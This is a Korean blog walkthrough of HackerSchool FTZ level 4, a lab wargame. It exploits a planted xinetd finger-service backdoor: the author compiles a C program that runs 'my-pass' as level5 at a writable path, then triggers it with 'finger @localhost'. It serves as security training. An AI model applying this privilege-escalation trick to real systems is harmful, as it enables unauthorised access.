사람마다 푸는 방식이 다를 수 있으니. 어려움에 있으실 때 참조만 하시고, 직접 풀어보시는 것 을 추천합니다.
level4 의 시작.
구동 환경 : Windows 7
서버 환경 : VMware WorkStation 10.0 Redhat9.0 hackerschool FTZ
사용 플램 : putty (퓨티)
login as : level4
password :
level3에서 끝냈을 때 받았던 비밀번호를 입력 해준 다음에 로그인 하면 된다.
그러면 저번과 같이 ls -al 로 level4의 디텍토리에는 무슨 파일들이 존재하는지 확인해보자.
[level4@ftz level4]$ ls -al
total 80
drwxr-xr-x 4 root level4 4096 May 7 2002 .
drwxr-xr-x 34 root root 4096 Sep 30 02:00 ..
-rw------- 1 root root 1 Jan 15 2010 .bash_history
-rw-r--r-- 1 root root 24 Feb 24 2002 .bash_logout
-rw-r--r-- 1 root root 224 Feb 24 2002 .bash_profile
-rw-r--r-- 1 root root 151 Feb 24 2002 .bashrc
-rw-r--r-- 1 root root 400 Sep 24 2000 .cshrc
-rw-r--r-- 1 root root 4742 Sep 24 2000 .emacs
-r--r--r-- 1 root root 319 Sep 24 2000 .gtkrc
-rw-r--r-- 1 root root 100 Sep 24 2000 .gvimrc
-rw-r--r-- 1 root root 50 Feb 24 2002 hint
-rw-r--r-- 1 root root 226 Sep 24 2000 .muttrc
-rw-r--r-- 1 root root 367 Sep 24 2000 .profile
drwxr-xr-x 2 root level4 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level4 4096 Sep 30 06:53 tmp
-rw-r--r-- 1 root root 1 May 7 2002 .viminfo
-rw-r--r-- 1 root root 4145 Sep 24 2000 .vimrc
-rw-r--r-- 1 root root 245 Sep 24 2000 .Xdefaults
[level4@ftz level4]$
역시나, level4도 hint 파일이 존재합니다.
cat 명령어로 hint 파일을 들여다 봅시다.
[level4@ftz level4]$ cat hint
누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!
?!!? 이럴수가, 누군가가 백도어를 심어두었다네요!
누군가 지금 서버를 지켜보고 있을 수도 있네요.. ㅜ_ㅜ
그러면 바로! cd 로 이용해서 /etc/xinetd.d/ 폴더로 이동해봅시다!
[level4@ftz level4]$ cd /etc/xinetd.d/
[level4@ftz xinetd.d]$ ls -al
total 68
drwxr-xr-x 2 root root 4096 Sep 30 02:00 .
drwxr-xr-x 56 root root 4096 Sep 30 02:44 ..
-r--r--r-- 1 root level4 171 Sep 30 02:00 backdoor
-rw-r--r-- 1 root root 563 Feb 25 2003 chargen
-rw-r--r-- 1 root root 580 Feb 25 2003 chargen-udp
-rwxr-xr-x 1 root root 239 Feb 13 2003 cups-lpd
-rw-r--r-- 1 root root 419 Feb 25 2003 daytime
-rw-r--r-- 1 root root 438 Feb 25 2003 daytime-udp
-rw-r--r-- 1 root root 341 Feb 25 2003 echo
-rw-r--r-- 1 root root 360 Feb 25 2003 echo-udp
-rw-r--r-- 1 root root 317 Jan 25 2003 rsync
-rw-r--r-- 1 root root 312 Feb 25 2003 servers
-rw-r--r-- 1 root root 314 Feb 25 2003 services
-rw-r--r-- 1 root root 392 Feb 1 2003 sgi_fam
-r--r--r-- 1 root root 305 Sep 30 02:00 telnet
-rw-r--r-- 1 root root 497 Feb 25 2003 time
-rw-r--r-- 1 root root 518 Feb 25 2003 time-udp
[level4@ftz xinetd.d]$
이럴수가, 정말 backdoor가 있네요.
cat 명령어로 backdoor 를 들여다봅시다.
[level4@ftz xinetd.d]$ cat backdoor
service finger
{
disable = no
flags = REUSE
socket_type = stream
wait = no
user = level5
server = /home/level4/tmp/backdoor
log_on_failure += USERID
}
finger 서비스로 실행되는 backdoor 이네요.
우리가 중요시 봐야할 곳은, user 와 server 경로 부분을 자세히 살펴보아야 합니다!
user는 level5네요.
현재 level4 인데, level5 권한으로 실행을 해준다는 것이네요! setuid 헤헤.. 정말 좋네요 짜릿해요 재밌네요.
server ?
server 경로 는 무엇일까요? 저 경로를 실행시킨다는 뜻 같네요.
그렇다면,
/home/level4/tmp/backdoor 라는 경로에 backdoor 라는 파일이 실행되는 것을 보니,
경로로 이동해서 backdoor 라는 파일이 존재하지 않으면 C 파일로 생성해서 level5 패스워드를 취득 해보록 해야겠습니다@@.
[level4@ftz xinetd.d]$ cd /home/level4/tmp
[level4@ftz tmp]$ ls -al
total 8
drwxrwxr-x 2 root level4 4096 Sep 30 12:51 .
drwxr-xr-x 4 root level4 4096 May 7 2002 ..
경로에는 backdoor 파일이 존재하지 않네요. 그렇다면 .c 파일로 만들어서 my-pass 를 알려주는 backdoor를 만들어야 겠네요.
자, 그렇다면 시작해봅시다.
[level4@ftz tmp]$ cat > backdoor.c
#include <stdio.h>
#include <stdlib.h>
int main(void){
system("my-pass");
return 0;
}
cat > 을 이용해서 backdoor.c 라는 문서를 만들고,
그 안에 .c 의 system 으로 이용하여 my-pass 를 입력하게 만들게 해두었습니다.
[level4@ftz tmp]$ gcc -o backdoor backdoor.c
[level4@ftz tmp]$ ls -al
total 24
drwxrwxr-x 2 root level4 4096 Sep 30 12:56 .
drwxr-xr-x 4 root level4 4096 May 7 2002 ..
-rwxrwxr-x 1 level4 level4 11545 Sep 30 12:56 backdoor
-rw-rw-r-- 1 level4 level4 89 Sep 30 12:54 backdoor.c
[level4@ftz tmp]$
gcc 명령어로 이용하여 backdoor.c 를 컴파일을 시켜서 backdoor 를 만들어두었다.
ls -al 를 이용해서 보니, 정상적으로 컴파일까지 성공한 것 같다.
이제 fingr 서비스를 작동시켜야 할 때가 온 것 같다.
gcc ?
: Training 9번에서 배웠던 내용입니다. 자세히 보시려면 ( http://taeminimini.tistory.com/368 ) 로 이동하세요.
[level4@ftz tmp]$ finger @localhost
finger 명령어로 @localhost 를 실행 해주면,
finger 서비스를 시작합니다.
[level4@ftz tmp]$ finger @localhost
^[[H^[[J
Level5 Password is ~~~~~~~~~
finger 명령어 대한 자료는 아래에 적혀있다.
참고해서 문제를 클리어 하도록하자.
그렇다면 이제, level4 도 끝이나고, level5 의 비밀번호가 주어진다.
finger @localhost 를 쓰면 왜 이렇게 되는지는, finger 명령어를 이해하면 금방 풀리는 내용이다.
finger ?
: finger는 리눅스에서 사용자의 계정정보를 확인하는 명령어이다.
finger 옵션
-s : 사용자의 로그온 이름, 실제이름, 터미널 이름, 로그온 시간 등을 보여준다.
-l : -s 옵션 정보에 몇 가지를 추가하여, 여러 줄에 걸쳐서 보여준다.
-p : -l 옵션 정보에서 .plan과 .project 파일을 보이지 않는다.
옵션이 주어지지 않으면, 기본적으로 -l 옵션을 사용한 것으로 간주된다.
finger ex)
-$ finger
finger만 치면 현재 시스템에 로그인 되어 있는 사용자들을 보여준다.
-$ finger user명
user를 적고 host명을 명시하지 않으면, finger는 로컬에 접속하게 된다.
-$ finger @host명
host명만 적고 user를 명시하지 않으면, 해당서버의 접속해 있는 모든 유저의 정보를 출력한다.
-$ finger user명 @host명
-$ finger @host명 user명
user명과 호스트명을 이런식으로 기입하면 원격서버의 사용자계정정보 확인하는 것이 된다.
참고
finger명령어는 지정된 계정사용자 정보를 /etc/passwd 파일에서 읽어서 보여주는 것이다.
'정보보안 카테고리 > hackschool FTZ' 카테고리의 다른 글
hackerschool FTZ : level6 풀이 (0) | 2013.10.01 |
---|---|
hackerschool FTZ : level5 풀이 (1) | 2013.10.01 |
hackerschool FTZ : level3 풀이 (0) | 2013.10.01 |
hackerschool FTZ : level2 풀이 (2) | 2013.10.01 |
hackerschool FTZ : level1 풀이 (0) | 2013.10.01 |